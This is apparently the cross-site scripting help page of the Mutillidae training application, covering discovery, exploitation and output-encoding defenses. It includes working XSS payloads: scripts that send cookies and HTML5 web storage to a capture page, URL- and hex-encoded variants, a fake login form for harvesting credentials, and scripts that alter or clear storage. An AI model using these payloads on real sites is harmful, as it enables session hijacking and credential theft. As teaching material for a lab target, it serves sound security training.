Cross-site Scripting (XSS) |
Overview Cross-site scripting and HTML injection may occcur when user or attacker controlled input is later incorporated without being encoded into the web server response. In other words, the attacker can send input which later is incorporated into the web page the user receives. Cross-Site Scripting may occur when a script is displayed in page output but is not properly encoded. Because of the lack of proper encoding, the browser will execute the script rather than display it as data. Pages that encode all dynamic output are generally immune. The page will simply display the script as text rather than execute the script as code. Video Tutorials Discovery Methodology The first step to Cross-Site Scripting is to determine which of the sites input is displayed as output. Some input is immediately output on the same or next page. These pages are candidates for reflected Cross-Site Scripting. Some input may be stored in a database and output later on the appropriate page. These situations may be ripe for the most dangerous type of XSS; persistent XSS. Developers may treat input from forms carefully, while completely ignoring input passed via URL Query Parameters, Cookies, HTTP Headers, Logs, Emails, etc. The key is to encode ALL output and not just output that came into the site via forms/POST. Step 1: For each page under scrutiny, enter a unique string into each form field, url query parameter, cookie value, HTTP Header, etc., record which value has which unique string, submit the page, then observe the resulting page to see if any of your unique strings appeared. Upon finding a unique string, note which value had contained that string and record this on your map. For example inject all available parameters of the web page with a searchable string such as the word "CANARY" along with characters generally useful in writing HTML, JavaScript or other code. Search the response carefully noting any location where the test string appears unencoded. These locations may allow cross-site scripting. See Rsnake\'s XSS Cheet Sheet for more ways you can encode XSS attacks that may allow bypassing some filters. An example injection might be <CANARY={}""()'';#$--/>1. Adding a sequencial integer to the test input can help determine which of the inputs parameters resulted in the response string found. Step 2:The second step is to test all the input locations from step #1 with various scripts, css, html tags, etc. and observe the resulting output. If the site fails to encode output, it is a candidate for XSS. Enter interesting characters such as angle brackets for HTMLi and XSS, Cascading style sheet symbols, etc. to see if the site encodes this output. If the site does not encode output, try inserting XSS, CSS, HTML, etc. and watch for execution. If the site has a WAF, this is likely the point at which you will detect the WAF presence. Unfortunately the input could end up as output on any page within the site, all pages within the site, or none of them. If the values are not reflected immediately but presented on a later page (for example in search results) then it should be assumed the value is stored in a database. Remediation Cross-Site Scripting occurs because a script is displayed in page output but is not properly encoded. Because of the lack of proper encoding, the browser will execute the script rather than display it as data. Pages that encode all dynamic output are generally immune. The page will simply display the script as text rather than execute the script as code. The first step to Cross-Site Scripting is to determine which of the sites input is displayed as output. Some input is immediately output on the same or next page. These pages are candidates for reflected Cross-Site Scripting. Some input may be stored in a database and output later on the appropriate page. These situations may be ripe for the most dangerous type of XSS; persistent XSS. Developers may treat input from forms carefully, while completely ignoring input passed via URL Query Parameters, Cookies, HTTP Headers, Logs, Emails, etc. The key is to encode ALL output and not just output that came into the site via forms/POST. Exploitation Determine the prefix and suffix needed to make the injected code "fit" syntatically then add a payload between. Inject the exploit. Cross site scripting will work in any unencoded output. It does not matter if the value being output initially came from a form field (usually POST) or URL parameteres (GET). If fact the value can come from any source. For example, if a web page outputs the user-agent string in whole or part, you can use a tool such as User-Agent Switcher plug-in for Firefox to attempt XSS via the User-Agent HTTP Header. Any HTTP Header can be forged with or without tools. If you would like to forge an HTTP Header without tools, try Netcat. Other options include intercepting and changing the web request after the request leaves the browser. Burp Suite is an excellent tool to try on your own machine. Try changing the user-agent to the XSS examples on this page. Also, try this sample HTML injection. The XSS could be directly placed into the database then pulled later. This can happen from a hacked database, a rouge DBA, or via SQL injection such as with ASPROX. This is why output encoding is a better defense than input validation for XSS. If the XSS makes it into the database but never has to pass through the validation to get there, input validation will not work. Some pages are easier to exploit because the page reflects any input. This input could be from the Cookies, and URL query parameter, or any POSTed parameter. This may be seen in the view source as a comment in which the developer dumps the referer string for diagnostic purpouses (and therefore dumps the query parameters as well). When a random parameter is created and injected, this is known as a parameter addition attack. Cross Site Scripting Via URL query parameters Note any URL query parameters and inject a script into each. Cross Site Scripting Via POST parameters Use Burp-Suite to note POST parameters and inject a script into each. Cross Site Scripting Via Cookie Use Cookie Manager or Burp-Suite to create a cross site script and inject a script into each cookie. If the page prints the value of the cookie to the screen, the script will execute. Cross Site Scripting Via HTTP Headers Any time dynamic output is displayed by the browser, think "Cross-Site Scripting". Work backwards from that output to see if there is a way to influence what is output. This could be as simple as entering "123" in the first field, "456" in the second field, and so on. Repeat this for all input including HTTP Headers, Cookie values, Hidden Fields etc. If those inputs show up anywhere in the output investigate further. Dont look for visible output. That will miss most of the output. Search the entire response stream including all the HTTP Headers. If you find your test strings, send in more useful characters such as "<". Some developers sanitize input which may later be output. Others encode (escape) the input. These are nice tries but can result in "FAIL" because the data could be changed after it is input encoded by someone with access to the database, a database corrupting script, or any attempts to filter/sanitize can be flawed/bypassed. Any time the application uses the HTTP headers there are multiple possibilities. If the HTTP header is output into the page, think XSS. But with HTTP Headers, also consider HTTP Response Splitting. HTTP Headers are delimited (separated) by line-breaks. Check out the RFC on HTTP to see the specification. When an application included some type of input as output into the HTTP Header, it may be possible to inject a line-break. If this is possible, then an actor could also inject a new HTTP Header of there choosing. These two situations are counterparts. XSS via HTTP Headers may occur when HTTP Request Headers are output into the HTTP Response. HTTP Response Splitting may occur when user/database input is output into HTTP Headers. Try Tamper Data to get control of all the HTTP headers in the request. You can start by changing the user-agent to see your input displayed here. Examples - Proof of Concept Many examples can be found at http://ha.ckers.org/xss.html. A basic test for XSS may be the following that attempts to pop up an alert box <script>alert("XSS");</script>
This example is of stealing a cookie. This could be reflected or persistent. To make this persistent, try to get the script stored into a database field which is later output onto a web page. <script>alert('Cookies which do not have the HTTPOnly attribute set: ' + document.cookie);</script>
Same example with the single-quotes escaped for databases such as MySQL. This allows the XSS to be stored in the database. When the web site (or another site) pulls the XSS from the database at a later time, it will be served with the site content. <script>alert(\'Cookies which do not have the HTTPOnly attribute set: \' + document.cookie);</script>
Examples - Stealing Cookies A more realistic attempt of cookie stealing includes some mechanism to send the value of the cookie to an attacker controlled server
<script>
new Image().src="http://[the-ip-of-mutillidae]/mutillidae/capture-data.php?cookie="+encodeURI(document.cookie);
</script>
When passing code as a parameter value, the code has to be encoded so that is does not get parsed by the web server. The code needs to make it passed the web server to the application without being modified by the web server.
%3Cscript%3Enew%20Image().src%3D%22http%3A%2F%2Fmutillidae.local%2Fcapture-data.php%3Fcookie%3D%22%2BencodeURI(document.cookie)%3B%3C%2Fscript%3E
An example of a complete URL is the following. Note: Substitute the domain name or IP address of your Mutillidae installation.
http://[ip-address-of-mutillidae]/mutillidae/index.php?page=user-info.php&username=%3Cscript%3Enew%20Image().src%3D%22http%3A%2F%2Fmutillidae.local%2Fcapture-data.php%3Fcookie%3D%22%2BencodeURI(document.cookie)%3B%3C%2Fscript%3E&password=&user-info-php-submit-button=View+Account+Details
Examples - Stealing cookies quietly with AJAX This example forwards the cookies to the Mutillidae Capture Data page using an AJAX request running in the background
<script>
var lXMLHTTP;
try{
var lData = "data=" + encodeURIComponent(document.cookie);
var lHost = "localhost";
var lProtocol = "http";
var lFilePath = "/mutillidae/capture-data.php";
var lAction = lProtocol + "://" + lHost + lFilePath;
var lMethod = "POST";
try {
lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP");
}catch (e) {
try {
lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP");
}catch (e) {
try {
lXMLHTTP = new XMLHttpRequest();
}catch (e) {
alert(e.message);/*For testing only*/
}
}
}/*end try*/
lXMLHTTP.onreadystatechange = function(){};
lXMLHTTP.open(lMethod, lAction, true);
lXMLHTTP.setRequestHeader("Host", lHost);
lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
lXMLHTTP.send(lData);
}catch(e){
alert(e.message);/*For testing only*/
}
</script>
Examples - HTML Injection JavaScript is not the only language that can be used. HTML is another choice that can be effective. <h1>Sorry. There has been a system error.<br /><br />Please login again</h1><br/>Username<input type="text"><br/>Password<input type="text"><br/><br/><input type="submit" value="Submit"><h1> </h1>
Examples - Realistic Attack AJAX can make the XSS more stealthy Example (Mutillidae running at localhost)
<script>
var lXMLHTTP;
try{
var lData = "data=" + encodeURIComponent(document.cookie);
var lHost = "localhost";
var lProtocol = "http";
var lFilePath = "/mutillidae/capture-data.php";
var lAction = lProtocol + "://" + lHost + lFilePath;
var lMethod = "POST";
try {
lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP");
}catch (e) {
try {
lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP");
}catch (e) {
try {
lXMLHTTP = new XMLHttpRequest();
}catch (e) {
alert(e.message);/*For testing only*/
}
}
}/*end try*/
lXMLHTTP.onreadystatechange = function(){};
lXMLHTTP.open(lMethod, lAction, true);
lXMLHTTP.setRequestHeader("Host", lHost);
lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
lXMLHTTP.send(lData);
}catch(e){
alert(e.message);/*For testing only*/
}
</script>
Example (Mutillidae running on Apache virtual host)
<script>
var lXMLHTTP;
try{
var lData = "data=" + encodeURIComponent(document.cookie);
var lHost = "mutillidae.local";
var lProtocol = "http";
var lFilePath = "/capture-data.php";
var lAction = lProtocol + "://" + lHost + lFilePath;
var lMethod = "POST";
try {
lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP");
}catch (e) {
try {
lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP");
}catch (e) {
try {
lXMLHTTP = new XMLHttpRequest();
}catch (e) {
alert(e.message);/*For testing only*/
}
}
}/*end try*/
lXMLHTTP.onreadystatechange = function(){};
lXMLHTTP.open(lMethod, lAction, true);
lXMLHTTP.setRequestHeader("Host", lHost);
lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
lXMLHTTP.send(lData);
}catch(e){
alert(e.message);/*For testing only*/
}
</script>
Note that some characters which are reserved in databases are also reserved in web servers. If submitting injections directly via an interception proxy like Burp-Suite, URL encode the injection to avoid a syntax error on the web server. URL Encoded version (with TAB spaces (%09) removed
%3c%73%63%72%69%70%74%3e%0a%76%61%72%20%6c%58%4d%4c%48%54%54%50%3b%0a%74%72%79%7b%20%0a%76%61%72%20%6c%44%61%74%61%20%3d%20%22%64%61%74%61%3d%22%20%2b%20%65%6e%63%6f%64%65%55%52%49%43%6f%6d%70%6f%6e%65%6e%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3b%0a%76%61%72%20%6c%48%6f%73%74%20%3d%20%22%6c%6f%63%61%6c%68%6f%73%74%22%3b%0a%76%61%72%20%6c%50%72%6f%74%6f%63%6f%6c%20%3d%20%22%68%74%74%70%22%3b%0a%76%61%72%20%6c%46%69%6c%65%50%61%74%68%20%3d%20%22%2f%6d%75%74%69%6c%6c%69%64%61%65%2f%63%61%70%74%75%72%65%2d%64%61%74%61%2e%70%68%70%22%3b%0a%76%61%72%20%6c%41%63%74%69%6f%6e%20%3d%20%6c%50%72%6f%74%6f%63%6f%6c%20%2b%20%22%3a%2f%2f%22%20%2b%20%6c%48%6f%73%74%20%2b%20%6c%46%69%6c%65%50%61%74%68%3b%0a%76%61%72%20%6c%4d%65%74%68%6f%64%20%3d%20%22%50%4f%53%54%22%3b%0a%0a%74%72%79%20%7b%0a%6c%58%4d%4c%48%54%54%50%20%3d%20%6e%65%77%20%41%63%74%69%76%65%58%4f%62%6a%65%63%74%28%22%4d%73%78%6d%6c%32%2e%58%4d%4c%48%54%54%50%22%29%3b%20%0a%7d%63%61%74%63%68%20%28%65%29%20%7b%20%0a%74%72%79%20%7b%20%0a%6c%58%4d%4c%48%54%54%50%20%3d%20%6e%65%77%20%41%63%74%69%76%65%58%4f%62%6a%65%63%74%28%22%4d%69%63%72%6f%73%6f%66%74%2e%58%4d%4c%48%54%54%50%22%29%3b%20%0a%7d%63%61%74%63%68%20%28%65%29%20%7b%20%0a%74%72%79%20%7b%20%0a%6c%58%4d%4c%48%54%54%50%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%20%0a%7d%63%61%74%63%68%20%28%65%29%20%7b%20%0a%2f%2f%61%6c%65%72%74%28%65%2e%6d%65%73%73%61%67%65%29%3b%2f%2f%54%48%49%53%20%4c%49%4e%45%20%49%53%20%54%45%53%54%49%4e%47%20%41%4e%44%20%44%45%4d%4f%4e%53%54%52%41%54%49%4f%4e%20%4f%4e%4c%59%2e%20%44%4f%20%4e%4f%54%20%49%4e%43%4c%55%44%45%20%49%4e%20%50%45%4e%20%54%45%53%54%2e%20%0a%7d%20%0a%7d%20%0a%7d%2f%2f%65%6e%64%20%74%72%79%0a%0a%6c%58%4d%4c%48%54%54%50%2e%6f%6e%72%65%61%64%79%73%74%61%74%65%63%68%61%6e%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%7b%7d%20%0a%6c%58%4d%4c%48%54%54%50%2e%6f%70%65%6e%28%6c%4d%65%74%68%6f%64%2c%20%6c%41%63%74%69%6f%6e%2c%20%74%72%75%65%29%3b%0a%6c%58%4d%4c%48%54%54%50%2e%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%28%22%48%6f%73%74%22%2c%20%6c%48%6f%73%74%29%3b%20%0a%6c%58%4d%4c%48%54%54%50%2e%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%28%22%43%6f%6e%74%65%6e%74%2d%54%79%70%65%22%2c%20%22%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%22%29%3b%0a%6c%58%4d%4c%48%54%54%50%2e%73%65%6e%64%28%6c%44%61%74%61%29%3b%0a%0a%7d%63%61%74%63%68%28%65%29%7b%20%0a%7d%20%0a%3c%2f%73%63%72%69%70%74%3e%0a
Steal DOM Storage values from another users browser (intermediate) Peristent (Stored, Second Order) Cross Site Script NOTE: This version "MySQL escapes" the "\n" new-line character by doubling up the "\" character because "\n" means new-line in MySQL and this is going to be inserted into the database.
<script>try{var m = "";var l = window.localStorage;for(i=0;i<l.length;i++){
var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\\n";};
document.location="http://localhost/mutillidae/capture-data.php?html5storage=" + m;}catch(e){alert(e.message);}</script>
Steal DOM Storage values from another users browser (advanced) Peristent (Stored, Second Order) Cross Site Script NOTE: This version "MySQL escapes" the "\n" new-line character by doubling up the "\" character because "\n" means new-line in MySQL and this is going to be inserted into the database.
<script>try{ var s = sessionStorage; var l = localStorage; var m = "";
var lXMLHTTP; for(i=0;i<s.length;i++){ m += "sessionStorage(" + s.key(i) + "):" + s.getItem(s.key(i)) + "; "; }
for(i=0;i<l.length;i++){ m += "localStorage(" + l.key(i) + "):" + l.getItem(l.key(i)) + "; "; }
var lAction = "http://localhost/mutillidae/capture-data.php?html5storage=" + m; lXMLHTTP = new XMLHttpRequest();
lXMLHTTP.onreadystatechange = function(){}; lXMLHTTP.open("GET", lAction);
lXMLHTTP.send(""); }catch(e){} </script>
Add/Edit value to another users DOM storage Peristent (Stored, Second Order) Cross Site Script NOTE: This version "MySQL escapes" the "\n" new-line character by doubling up the "\" character because "\n" means new-line in MySQL and this is going to be inserted into the database.
<script>try{var m = "";var l = window.localStorage;var s = window.sessionStorage;
for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\\n";};
for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\\n";};alert(m);}catch(e){alert(e.message);};
localStorage.setItem("AccountNumber","123456");sessionStorage.setItem("EnterpriseSelfDestructSequence","A1B2C3");
sessionStorage.setItem("SessionID","japurhgnalbjdgfaljkfr");sessionStorage.setItem("CurrentlyLoggedInUser","1233456789");try{var m = "";var l = window.localStorage;var s = window.sessionStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\\n";};alert(m);}catch(e){alert(e.message);}</script>
Delete value from another users DOM storage Peristent (Stored, Second Order) Cross Site Script NOTE: This version "MySQL escapes" the "\n" new-line character by doubling up the "\" character because "\n" means new-line in MySQL and this is going to be inserted into the database.
<script>try{var m = "";var l = window.localStorage;var s = window.sessionStorage;
for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\\n";};
for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\\n";};alert("HTML-5 web storage:\\n\\n" + m);}catch(e){alert(e.message);};localStorage.clear();sessionStorage.clear();try{var m = "";var l = window.localStorage;var s = window.sessionStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\\n";};alert("HTML-5 web storage:\\n\\n" + m);}catch(e){alert(e.message);}</script>
Cross Site Scripting Defenses To defend against Cross-Site Scripting, encode all output per context. Just because the application sanitized/validated/filtered the input when the user sent the input doesnt mean the application is safe. The database could be altered by a rouge insider, a database attack such as ASPROX, or a mallicious programmer. Developers should not have access to production database data; ever. Developers should not be able to copy their own code into production; ever. That is what change control is for. Videos Cross-Site Scripting Explained - Part 1: The Basics Cross-Site Scripting Explained - Part 2: DOM-Based XSS Cross-Site Scripting Explained - Part 3: Reflected XSS Cross-Site Scripting Explained - Part 4: Stored XSS Cross-Site Scripting Explained - Part 5: Discovery Cross-Site Scripting Explained - Part 6: HTTPOnly Cookies Cross-Site Scripting Explained - Part 7: HTML Events Cross-Site Scripting Explained - Part 8: Javascript String Injection Cross-Site Scripting Explained - Part 9: CSS String Injection Cross-Site Scripting Explained - Part 10: Path Relative Stylesheet Injection Cross-Site Scripting Explained - Part 11: Session Hijacking Cross-Site Scripting Explained - Part 12: Practical Session Hijacking Cross-site Scripting Explained - Part 13: Advanced Session Hijacking Cross-Site Scripting Explained - Part 14: BeEF Framework Cross-site Scripting Explained - Part 15: Javascript Validation Bypass Cross-Site Scripting Explained - Part 16: Reading HTML5 Web Storage Cross-site Scripting Explained - Part 17: Inserting into HTML5 Web Storage Cross-site Scripting Explained - Part 18: Altering HTML5 Web Storage Cross-site Scripting Explained - Part 19: Altering HTML5 Web Storage (Continued) Cross-Site Scripting Explained - Part 20: Altering HTML5 Web Storage (Continued) SQL Injection Explained - Part 11: Beware the Cross-Site Scripts Web Pen Testing HTML 5 Web Storage using JSON Injection Stealing HTML5 Storage via JSON Injection Introduction to HTML Injection (HTMLi) and Cross Site Scripting (XSS) Using Mutillidae |